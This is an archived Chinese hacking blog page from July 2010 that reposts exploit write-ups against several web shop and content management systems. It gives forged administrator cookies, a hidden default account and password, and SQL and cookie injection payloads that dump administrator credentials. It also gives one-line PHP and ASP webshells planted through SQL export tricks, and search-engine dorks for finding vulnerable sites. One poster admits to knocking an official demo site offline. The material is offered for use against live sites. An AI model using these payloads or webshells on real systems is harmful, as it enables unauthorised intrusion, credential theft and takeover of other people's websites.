浏览模式: 标准 | 列表2010年07月的文章

[置顶] 声明:转载的朋友请注意

Submitted by admin
2010, July 16, 9:03 AM

转载文章的朋友请注意,若是原创,我皆会标上来源或出处,其他的皆为转载,如果知道来源或出处的话,都会有注明的。

刚刚在网上不小心看到了一篇不是我原创,却写着我原创的文章,我想可能是那位朋友误会了,我的这里也没标明是我原创,而是我转载网上的未知名的作者的文章,请注意,搞的我都不好意思了!

 

汗颜哪!!!

蛋疼的DEDE后台拿Shell

Submitted by admin
2010, July 31, 9:46 AM

DEDE后台能直接上传PHP文件,他是传到uploads目录了,当遇到下面的情况时

大小: 37.1 K
尺寸: 341 x 318
浏览: 38 次
点击打开新窗口浏览全图

那就利用模板上传的功能得Shell,在模板那里新建一个HTM文件,或者上传一个

大小: 18.85 K
尺寸: 190 x 313
浏览: 51 次
点击打开新窗口浏览全图

然后保存,到生成首页文件那里,把上面改成你修改上传的HTM文件,下面改后缀为PHP之后就生成
大小: 19.88 K
尺寸: 411 x 220
浏览: 47 次
点击打开新窗口浏览全图

大小: 29.41 K
尺寸: 375 x 303
浏览: 59 次
点击打开新窗口浏览全图

 

=====================================

 

□Y35!U<admin@3hack.com> 15:51:29
1,发布一个文章,上传一个正常图片
□Y35!U<admin@3hack.com> 15:51:51
2,修改文章
□Y35!U<admin@3hack.com> 15:52:04
3,把实现构造好的图片传上去
□Y35!U<admin@3hack.com> 15:52:12
4,构造表单把图片带入模版
□Y35!U<admin@3hack.com> 15:52:16
5,预览
□Y35!U<admin@3hack.com> 15:52:49
主要的是带入模版这一步,我已经能把那个不能显示的图片传上去了
□Y35!U<admin@3hack.com> 15:53:00
在fck里面传的
□Y35!U<admin@3hack.com> 15:54:11
但是这个是直接GETshell
□Y35!U<admin@3hack.com> 15:54:17
5.3---5.6通杀
 
 
来源:3EST
Tags: dede

呵呵,标题写的有点夸张,我看的是官方演示的最新版本3.3.6版本,看过代码我相信早期的版本应该写法是基本相同的,因为没找到早期版本的下载所以没有测试,大家有的可以自行测试早期版本。
在讨论组看有坛友求SHOP363后台拿WEBSHELL方法,因为以前没用过这个系统不熟悉所以就百度了下找到了官方演示,通过一个老漏洞拿(不是网店程序本身的漏洞)到了官方演示的webHSELL,然后在官方网站目录下还有个演示站,还是那个方法直接拿到官方权限。拿到WEBSHELL后看了下网店的后台代码开始找相关的利用漏洞,看了几个文件果然发现了利用的地方

本帖隐藏的内容需要回复才可以浏览

昨天发了个智睿的管理系统的COOKIES欺骗漏洞,今天看SHOP363的Fun.asp文件发现管理验证方法基本试相同的,呵呵,真实巧啊
后台目录Admin_Shop363下面的FUN.ASP里面的Sub checklogin() 代码
Sub checklogin()           '检测是否登陆后台
        dim AdminName,AdminPassword,AdminFlags

                Session(CacheName &"AdminName") = Request.Cookies(SitWebCookies)("AdminName")       
                                Session(CacheName &"AdminPassword") = Request.Cookies

(SitWebCookies)("AdminPassword")
                                session(CacheName &"AdminFlags")=Request.Cookies(SitWebCookies)

("AdminFlags")
                                session(CacheName &"Truename")=Request.Cookies(SitWebCookies)

("Truename")
                                Session(CacheName &"AdminoldFlags") = Request.Cookies

(SitWebCookies)("AdminoldFlags")
                                Session(CacheName &"TFlags") = Request.Cookies(SitWebCookies)

("TFlags")


        AdminName=Session(CacheName &"AdminName")
        AdminPassword=Session(CacheName &"AdminPassword")
        AdminFlags=Session(CacheName &"AdminFlags")

        IF AdminName="" Or AdminPassword="" Or AdminFlags="" Then
        'IF AdminName=""  Then
                response.redirect("index.asp")               
                response.End()       
        End If
End Sub
下面这个是在另一个演示站看到的改进代码
Sub checklogin()           '检测是否登陆后台
        dim AdminName,AdminPassword,AdminFlags

                Session(CacheName &"AdminName") = Request.Cookies(SitWebCookies)("AdminName")       
                                Session(CacheName &"AdminPassword") = Request.Cookies

(SitWebCookies)("AdminPassword")
                                session(CacheName &"AdminFlags")=Request.Cookies(SitWebCookies)

("AdminFlags")
                                session(CacheName &"Truename")=Request.Cookies(SitWebCookies)

("Truename")
                                Session(CacheName &"AdminoldFlags") = Request.Cookies

(SitWebCookies)("AdminoldFlags")
                                Session(CacheName &"TFlags") = Request.Cookies(SitWebCookies)

("TFlags")


        AdminName=Session(CacheName &"AdminName")
        AdminPassword=Session(CacheName &"AdminPassword")
        AdminFlags=Session(CacheName &"AdminFlags")

        Strsqlck="select * from Shop363_Admin where name='"& AdminName &"' and

Password='"&AdminPassword&"'"
                set rsck=server.CreateObject("Adodb.Recordset")
                rsck.open Strsqlck,conn,1,1
                If rsck.eof Then
                response.redirect("index.asp")       
                response.End()
                End If
                rsck.close
                Set rsck=nothing
        

        'IF AdminName="" Or AdminPassword="" Or AdminFlags="" Then
        'IF AdminName=""  Then
        '        response.redirect("index.asp")               
        '        response.End()       
        'End If
End Sub
基本没改进什么,一样还是COOKIES欺骗,下面的是COOKIES利用代码:
ASPSESSIONIDQCSDTTCA=EGOPFIFBAANOKMIAIFCOMELG; ASPSESSIONIDSQTQABDB; Sy_Shops=TFlags=1,2,3,4,5,11,12,13,14,15,16,17,18,19,21,22,31,32,33,34,35,36,37,41,42,43,44,51,52,53,54,55,56,61,62,63,64&AdminoldFlags=1&Truename=%CE%_DE&AdminFlags=1&AdminPassword='or'='or'&AdminName='or'='or'; Sy%5fShops; ASPSESSIONIDQCSDTTCA=EGOPFIFBAANOKMIAIFCOMELG
这样可以进后台了,管理目录下有两个上传文件admin_upload.asp和admin_nupload.asp可以传递目录值但是我NC提交不成功还希望大牛们指教。
管理目录除了这两个没找到利用的地方就翻其他目录,运气好在网站根目录下的csv目录里发现了上传文件upfile1.asp代码如下:
<!--#include file="../admin_shop363/conn.asp"--> <!--#include file="chkuser.asp"--><html>
<head>
<title>化境上传</title>
<meta http-equiv="Content-Type" content="text/html; charset=gb2312">
<style type="text/css">
<!--

body,td,th {
        font-size: 12px;
}
body {
        margin-left: 0px;
        margin-top: 0px;
        margin-right: 0px;
        margin-bottom: 0px;
}
-->
</style>
</head>

<body bgcolor="#FFFFFF" text="#000000">
<form name="form1" method="post" action="upfile.asp" enctype="multipart/form-data" >

  <input type="hidden" name="act" value="upload">

          <input type="hidden" name="upcount" value="1">
         
      
          <input type="hidden" name="filepath" value="csv/">
        
        <input type="file" name="file1" value="">
     
        <input type="submit" name="Submit" value="上传" class="bt">
        
</form>
</body>
</html>
这回相信大家都是非常熟悉了,抓包上传吧。
网站默认后台目录:Admin_Shop363



首发T00LS转载请注明出处。

Tags: shop363

智睿管理系统的通杀漏洞

Submitted by admin
2010, July 25, 5:36 PM

前几天恰巧需要弄一个智睿学校管理系统的站就下载了智睿的系统看了下代码,发现ADMIN目录下的
admin_check.asp文件代码是这样写的

<%
    if trim(request.cookies("ZhiRui")("ZhiRuiAdmin"))<>"" then
    session("ZhiRuiAdmin")=request.cookies("ZhiRui")("ZhiRuiAdmin")
    session("ZhiRuiUser")=request.cookies("ZhiRui")("ZhiRuiUser")
    session("AdminPurview")=request.cookies("ZhiRui")("AdminPurview")
    End if
        If trim(session("ZhiRuiAdmin"))="" then
        Response.Write("<script language=javascript>alert('您的缓存时间已到或为空,请返回重新登录!');this.top.location.href='Admin_Login.asp';</script>")
        Response.end
        End if
        If Request.Cookies("ZhiRui")("Check")<>"ZhiRuiSystem" then
        Response.Write("<script language=javascript>alert('您的核心认证码错误,请返回重新登录!');this.top.location.href='Admin_Login.asp';</script>")
        Response.end
        End if
%>

 

是通过COOKIES进行传值给SESSION这样就可以通过伪造COOKIES进行欺骗进入管理目录,另外经发现这个系统数据库管理表中有个智睿自己留的管理账号,管理列表文件经过简单的加密,解密后发现管理员账号列表文件之调用显示了ID>1的账户,由此可知ID=1的账号是智睿自己留的小后门吧。经下载官方的企业网站系统,政府网站系统,公安信息管理系统发现,这些系统均可以经过COOKIES欺骗进入后台,而且都有隐藏账号。
COOKIES:ZhiRui=Check=ZhiRuiSystem&AdminPurview=%7C111%2C%7C112%2C%7C113%2C%7C114%2C%7C115%2C%7C116%2C%7C117%2C%7C118%2C%7C119%2C%7C121%2C%7C122%2C%7C211%2C%7C212%2C%7C311%2C%7C312%2C%7C313%2C%7C314%2C%7C511%2C%7C512%2C%7C513%2C%7C514%2C%7C611%2C%7C612%2C%7C711%2C%7C712%2C%7C713%2C%7C714%2C%7C411%2C%7C412%2C%7C413%2C%7C414%2C%7C415%2C%7C811%2C%7C812%2C%7C813%2C%7C814%2C%7C815%2C%7C911%2C&ZhiRuiUser=%C4%DA%B2%BF%B5%F7%CA%D4&ZhiRuiAdmin=zhirui
后台暂时还没发现拿WEBSHELL的方法,有个版本有FCK编辑器可以通过编辑器拿WEBSHELL,后台的文件管理可以遍历目录,就发现这些可利用的地方,请大家指正
隐藏账号是zhirui:123456

 

来源:TOOLS

Tags: 智睿

华速网游交易平台oday

Submitted by admin
2010, July 23, 9:36 AM

FROM http://www.st999.cn/blog

程序:华速网游交易平台

漏洞:上传,暴库

关键字 inurl:list_buy.asp?class_1

声明一下,这个程序是网游在线交易平台,若有人利用此漏洞进行破坏,本人概不负责,我只是安全爱好者而已!

效果见图:

大小: 46.76 K
尺寸: 500 x 156
浏览: 163 次
点击打开新窗口浏览全图

工具在附件里

 

 

附件: 华速网游交易平台 oday.html (1.77 K, 下载次数:397)

Tags: 华速

发个易达CMS批量的方法

Submitted by admin
2010, July 23, 8:45 AM

GOOGLE关键字:inurl:zh_about.asp?id=

程序不是很多  

把点放到啊D里 手动添加表名 shuaiweb_admin

默认后台 admin

后台功能十分至百分的强大  拿shell不成问题

 

                                                       BY  流浪的风

Tags: 易达, cms

Shopv8商城系统 v10.48 0day漏洞

Submitted by admin
2010, July 19, 10:44 AM

发布作者:Lan3a  
影响版本: Shopv8商城系统 v10.48  
漏洞描述: pinglun.asp页面存在SQL注入  
Author:Lan3a

转载请注明出处:http://blog.cfyhack.cn/

前台所有程序都加了防注入代码的,所以我就不去看了。

直接翻后台的看,先看有没有不需要验证的,运气很不错,找到了。

pinglun.asp这个文件。

代码如下:


<%dim bookid,action    
pinglunid=request.QueryString("id")      直接提交    
action=request.QueryString("action")    
if action="save" then    
set rs=server.CreateObject("adodb.recordset")    
rs.open "select * from shop_pinglun where pinglunid="&pinglunid,conn,1,3    
rs("huifu")=HTMLEncode2(trim(request("huifu")))    
rs("huifudate")=now()    
rs.update    
rs.close    
set rs=nothing  
response.write "<script language=javascript>alert(’您的回复已成功提交!!’);history.go(-1);</script>"    
response.End    
end if    
%>  
<table class="tableBorder" width="90%" border="0" align="center" cellpadding="0" cellspacing="1" bgcolor="#FFFFFF">  
<tr>     
<td align="center" background="../images/admin_bg_1.gif"><b><font color="#ffffff">发表评论</font></b></td>  
</tr>  
<tr>     
<form name="pinglunform" method="post" action="pinglun.asp?action=save&id=<%=pinglunid%>">  
<td >     
<%set rs=server.CreateObject("adodb.recordset")    
rs.open "select * from shop_pinglun where pinglunid="&pinglunid,conn,1,3    直接传入查询    
%>  


下面直接贴 利用方法了:
http://localhost/admin/pinglun.asp?id=1%20and%2201=2%20union%20select%201,2,3,4,username,password,7,8,9,10,11%20from%20admin

Tags: shopv8

再说两种ecshop后台拿shell的方法

Submitted by admin
2010, July 19, 10:35 AM


ecshop后台拿shell的方法,除了oldjun大牛的那个和上次说的那个,又发现两种。但是各有个的限制条件,听我一一道来。
 
其一:
ecshop后台有一个功能是sql查询,如图:

大小: 7.71 K
尺寸: 243 x 109
浏览: 48 次
点击打开新窗口浏览全图

其实感觉在一个管理系统的后台放这么个功能根本没用,有多少网站管理员有这么高的觉悟,会用这个?
不过也不错,便宜了我们小菜拿shell。
方法就像phpmyadmin一样直接操作sql语句导出一句话木马拿shell。
语句如下:
show databases;
use 数据库名;
 create a(cmd text not null);
 insert into a(cmd) values('<?php eval($_POST[cmd]);?>');
select cmd from a into outfile '导出路径';
drop table if exists a;
很常规的语句。也许有人会问不知道网站路径怎么办,那要导出到哪呢?这里有一个技巧就是 use 数据库名; 这句话,其实在这个sql查询功能中默认用的数据库就是本网站的数据库,开发者设计的时候不会考虑你去use 其他的数据库,所以这里你用"use 数据名库"这句时,会产生一个警告,但并不影响sql的运行,却可以成功爆出网站的路径,多次测试均成功,如图:

大小: 30.78 K
尺寸: 500 x 183
浏览: 90 次
点击打开新窗口浏览全图
这样就爆出了路径,用于导出。
但是有个问题是你最后outfile文件时如果不是mysql的root权限,是没有权限导出的,所以这种方法必须要求你的mysql权限为root。
其二
另外一种是利用ecshop后台的数据库备份功能。如图:

大小: 31.35 K
尺寸: 500 x 227
浏览: 67 次
点击打开新窗口浏览全图
这里选择自定义备份,目的是使你备份出来的文件尽量的小,要是太大的话也很麻烦。
然后去前台留个言,内容是我们的一句话木马,接着在后台选择备份ecs_feedback这张表,就是存放留言的表,如图:大小: 37.25 K
尺寸: 500 x 147
浏览: 52 次
点击打开新窗口浏览全图

然后会显示备份成功。
但是ecshop备份的文件都强行会在你填的备份的名字后面加上.sql扩展名(元备份名我填的是l4yn3.php),如图。

大小: 5.6 K
尺寸: 307 x 191
浏览: 52 次
点击打开新窗口浏览全图

这么做无非就是提高安全性,可是设计者忽略了一个问题,如果php是在apache下运行的,利用apache的文件解析漏洞这种方式形同虚设。
因为apache有个漏洞就是对文件名是1.php.sql这种形式,只要最后的文件扩展名是apache不能能解析的,他就会按照php文件来解析它,那在这里sql文件就是apache不能够解析的文件,那么他理所当然会把这个文件当作php文件来执行。
所以如果是apache+php的话,即使文件名变成了上面这样,也可以正常解析,你所需要做的就是点一下备份后的链接。
所以您看出来了,这种拿shell的方式是需要你的环境是apache+php的。
 而且还有个条件是GPC魔术转换不能开启,所以也很鸡肋。
两种方式没有上次说的那位大牛的那么通杀,只是给大家提供个思路,仅此而已。
由于之前是用shell测试的,可是写文章的时候是在本地测试,环境有点问题,第二种方式一句话成功解析的图就不截了,请见谅。
没什么技术,欢迎光临l4yn3的个人博客。
PS:关于apache的文件解析漏洞,看这个吧:http://blog.fir3bug.com/?p=264

Tags: ecshop

Access导出WebShell

Submitted by admin
2010, July 19, 10:30 AM

来源:等待blog


已经是大牛们用烂的方法了, 我刚学到呵呵。。
原来我导出的时候利用的是text方式,在测试的时候发现分号被替换成下划线了,所以以为这种方法不行。
后来经过大牛们的指点,才知道用excel的方式导出可以。。
主要是利用IIS6的解析问题:
SELECT '<%execute request("a")%>' into [a] in 'c:\x.asp;a.xls' 'excel 8.0;' from a
会在C盘生成一个名为x.asp;a.xls的文件。
由于ACCESS不能多句执行,所以这个方法只有在后台提供了SQL执行功能并且知道绝对路径的时候才可以用。。

 

 ==========

create table cmd (a varchar(50))
insert into cmd (a) values ('<%execute request("a")%>')
select * into [a] in 'f:\host\qhdyxt\web\a.asp;.xls' 'excel 4.0;' from cmd
drop table cmd

========

1.create table a (a varchar(50)) 建立一个有一个A字段的表 表名为a 字段类型为字符 长度为50
2.insert into a (a) values ('<%execute request("a")%>') 在表a的a字段插入密码为a的一句话木马
3.select * into [a] in 'F:\jt\work\a.asp;.xls' 'excel 4.0;' from a 把表a的内容导出为物理路径的一个
EXCEL文件,为什么用excel文
件,因为ACCESS数据库不允许导出其他危险格式。我们导出为EXCEL后在利用IIS解析漏洞就可以变成我们的小马了。很*的说~~
4.drop table a 丢家伙闪人 射完就走

=====================

 

 

 

create table hack(cmd image);
insert into hack (cmd) values ('┼硥捥瑵?敲畱獥?瘢污敵?┩>u');  
Select cmd into [a] in 'd:\wwwroot\bbs\database\x.asp;a.xls' 'excel 8.0;' from hack

 

 

  1. create table cmd (a varchar(50))
  2. insert into cmd (a) values ('<%eval request("cmd")%>');
  3. select * into [a] in 'D:\asp\sinonet.com.cn\wwwroot\3est.asa;.xls' 'excel 4.0;' from cmd;
  4. drop table cmd;
Tags: 导出

凹丫丫分析

Submitted by admin
2010, July 19, 10:14 AM

来源:网络

昨晚在渗透当地一个大学网站的时候找到一个子站是使用凹丫丫新闻发布系统,当时在网上找了下有关这套系统的漏洞却没有任何发现,于是便自己下了套4.7ACC版的来研究了下。经过半个多小时的研究终于让我找出了两个注入漏洞,后来又想起曾经在黑吧上看到有公布过这个系统的0day,不过都是老版本的,或者有的根本不是很实用。当时是估计这套系统应该很早就有人研究出我所看到的漏洞了,只不过是没有人放出来罢了,试想那么明显的漏洞那些大牛们不可能看不出来把。我现在找出来了就顺便放出来,再详细分析下漏洞代码。
     系统主要漏洞是cookie注入,总的有两处,我们先来看看防注入代码:
 
<%
Dim Query_Badword,Form_Badword,i,Err_Message,Err_Web,name
'------定义部份   头----------------------------------------------------------------------
Err_Message = 1         '处理方式:1=提示信息,2=转向页面,3=先提示再转向
'Err_Web = "Err.Asp"     '出错时转向的页面
Err_Web = "http://www.oyaya.net"     '出错时转向的页面
Query_Badword="'∥or∥and∥select∥update∥chr∥delete∥%20from∥;∥insert∥mid∥master.∥set∥chr(37)∥="    
'在这部份定义get非法参数,使用"∥"号间隔    
Form_Badword=""     '在这部份定义post非法参数,使用"∥"号间隔
'Form_Badword="'∥%∥&∥*∥#∥=∥or"     '在这部份定义post非法参数,使用"∥"号间隔
'------定义部份   尾-----------------------------------------------------------------------
'
On Error Resume Next
'----- 对 get query 值 的过滤.
if request.QueryString<>"" then
Chk_badword=split(Query_Badword,"∥")
FOR EACH Query_Name IN Request.QueryString
for i=0 to ubound(Chk_badword)
If Instr(LCase(request.QueryString(Query_Name)),Chk_badword(i))<>0 Then
Select Case Err_Message
   Case "1"
Response.Write "<Script Language=JavaScript>alert('传参错误!参数 "&name&" 的值中包含非法字符串!\n\n请不要在参数中出现:and update delete ; insert mid master 等非法字符!');window.close();</Script>"
   Case "2"
Response.Write "<Script Language=JavaScript>location.href='"&Err_Web&"'</Script>"
   Case "3"
Response.Write "<Script Language=JavaScript>alert('传参错误!参数 "&name&"的值中包含非法字符串!\n\n请不要在参数中出现:and update delete ; insert mid master 等非法字符!');location.href='"&Err_Web&"';</Script>"
End Select
Response.End
End If
NEXT
NEXT
End if
'-----对 post 表 单值的过滤.
if request.form<>"" then
Chk_badword=split(Form_Badword,"∥")
FOR EACH name IN Request.Form
for i=0 to ubound(Chk_badword)
If Instr(LCase(request.form(name)),Chk_badword(i))<>0 Then
Select Case Err_Message
   Case "1"
Response.Write "<Script Language=JavaScript>alert('出错了!表单 "&name&" 的值中包含非法字符串!\n\n请不要在表单中出现: % & * # ( ) 等非法字符!');window.close();</Script>"
   Case "2"
Response.Write "<Script Language=JavaScript>location.href='"&Err_Web&"'</Script>"
   Case "3"
Response.Write "<Script Language=JavaScript>alert('出错了!参数 "&name&"的值中包含非法字符串!\n\n请不要在表单中出现: % & * # ( )   等非法字符!');location.href='"&Err_Web&"';</Script>"
End Select
Response.End
End If
NEXT
NEXT
end if
%>
通用的防注入系统,很明显的做了GET和POST过滤,这里有了这个要想直接进行注入那基本上算是没戏了,但是在这个防注入程序中未对cookie进行过滤,我们只要找到直接request("xx")方式获取变量的地方,以及将变量带入SQL查询语句中的代码,经过仔细查找找到了两处,首先是在Download.asp文件中。
     Download.asp文件是显示所有下载的一个列表文件,显示列表细信息是使用 call ShowDown(32) 代码调用包含文件Include/SysDown.asp中的ShowDown函数,我们来看看Include/SysDown.asp文件以及ShowDown函数代码。
 

<%
dim strFileName,MaxPerPage,ShowSmallClassType
……
BeginTime=Timer
BigClassName=Trim(request("BigClassName"))
SmallClassName=Trim(request("SmallClassName"))
keyword=trim(request("keyword"))
if keyword<>"" then
   keyword=replace(replace(replace(replace(keyword,"'","‘"),"<","<"),">",">")," "," ")
end if
strField=trim(request("Field"))
……
%>

   在Include/SysDown.asp文件开头部位能看到如上代码,很明显的BigClassName和SmallClassName的值是直接使用request方式获取,并未指明request对象的具体方法。过滤方面只使用了Trim函数过滤掉了两边的空格,现在我们就要找找看什么地方是直接将BigClassName或SmallClassName的值带入SQL语句的,继续往下看到ShowDown函数,既是Download.asp文件中显示列表信息的函数,代码如下:
 
sub ShowDown(TitleLen)
…………
     if currentPage=1 then
         sqlDown="select top " & MaxPerPage   
     else
         sqlDown="select "
     end if
     sqlDown=sqlDown & " ID,title,content,BigClassName,SmallClassName,System,Language,Softclass,PhotoUrl,DownloadUrl,FileSize,Hits,AddDate from download"
   
     if BigClassName<>"" then
        sqlDown=sqlDown & " where BigClassName='" & BigClassName & "' "
         if SmallClassName<>"" then
            sqlDown=sqlDown & " and SmallClassName='" & SmallClassName & "' "         end if   
     end if
     sqlDown=sqlDown & " order by AddDate desc"
     Set rsDown= Server.CreateObject("ADODB.Recordset")
     rsDown.open sqlDown,conn,1,1
     if rsDown.bof and   rsDown.eof then
         response.Write("<br><li>没有任何下载</li>")
     else
…………
end sub
这个地方就直接使用BigClassName和SmallClassName的值进行查询了,在此之前没有任何地方对BigClassName和SmallClassName进行顾虑处理,所以我们就可以利用这里的BigClassName进行cookie注入了。
利用代码: javascript:alert(document.cookie="BigClassName="+escape("%25' and 1=2 union select 1,admin,3,password,5,6,7,8,9,10,11,12,13 from admin where 1=1 and 'a'='a"));
       打开http://localhost/Download.asp页面,然后在第一个页的IE地址栏中以上利用代码,然后访问http://localhost/Download.asp?页,刷新一次,系统中所有的管理员账号和密码就列出来了。

 

大小: 25.17 K
尺寸: 500 x 226
浏览: 40 次
点击打开新窗口浏览全图

另外在search.asp页面中同样存在cookie注入,只不过针对search.asp页面的注入语句有所不一样,因为这里是搜索型的注入,先看代码:

 
<%
key=request("key")
otype=request("otype")
if key="" then
   response.write "<script>alert('查找字符串不能为空!');history.back();</script>"
   response.end
end if
…………
page=clng(request("page"))   
set rs= server.createobject("adodb.recordset")
if otype="title" then
sql="select * from news where title like '%"& key &"%' order by id desc"
elseif otype="msg" then
sql="select * from news where content like '%"& key &"%' order by id desc"
elseif otype="dtitle" then
sql="select * from Download where title like '%"& key &"%' order by id desc"
elseif otype="dmsg" then
sql="select * from Download where Content like '%"& key &"%' order by id desc"
end if
rs.open sql,conn,1,1
if rs.eof and rs.bof then
response.write "<tr bgcolor='#ffffff'><td colspan='4'><p align='center'>对不起,没有找到相关新闻</p></td></tr>"
else
%>
    漏洞原理就和上面的Download.asp页面中的一样了,下面是利用的方法:
利用代码: javascript:alert(document.cookie="key="+escape("%25%25' and 1=2 union select admin,password,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20 from admin where 1=1 and aleave like '%25%25"));
     在确定search.asp页面存在的情况下访问http://localhost/search.asp?otype=title&key=xx,然后在IE地址栏输入以上利用代码后再访问http://localhost/search.asp?otype=title& 页面,刷新,同样的系统全部管理账号密码都暴出来了。
 
大小: 68.85 K
尺寸: 500 x 116
浏览: 51 次
点击打开新窗口浏览全图
 
Download.asp页面有很多站不存在,在Download.asp页面不存在的情况下就是用搜索页面的注入,不过在搜索页面有时候遇到不能直接爆出账号密码的情况,遇到这样的情况首先使用手工检测是否可注入,再测试admin表以及aleave字段是否存在,若以上都没问题那就是字段数不匹配,这里就需要手工一个一个的去试,我在测试过程中有遇到过21个字段的,有11个字段的。

   后台拿webshell很简单,数据库备份,以及添加新闻时候上传图片程序处的解析漏洞利用,另外运气好的话还可以遇见根目录下一个上传图片程序页:Upload_Photo.asp存在,这个页面需要登录后台后才能使用,利用方法还是闷豆兄突破的,使用双文件上传一个cer的文件,至于最终能不能成就需要看服务器是否解析cer了!!
Tags: 凹丫丫

FROM http://www.st999.cn/blog

程序:三顾购物系统化妆品版 v1.0 

其他版本未试 

刚刚在官方演示站上搞,进了后台要拿shell,结果备份数据那儿搞错了,晕,官方被我搞挂了,不试了,小小漏洞一枚,送给大家了。

 

cookies:    ASPSESSIONIDAACBDCBQ=BMAFNPMBNLDEFDHHLGPCDMJL; www3gushopcom=admin=admin; OrderBy; ShowType; prodpage=1

Tags: 三顾, cookie
Records:1612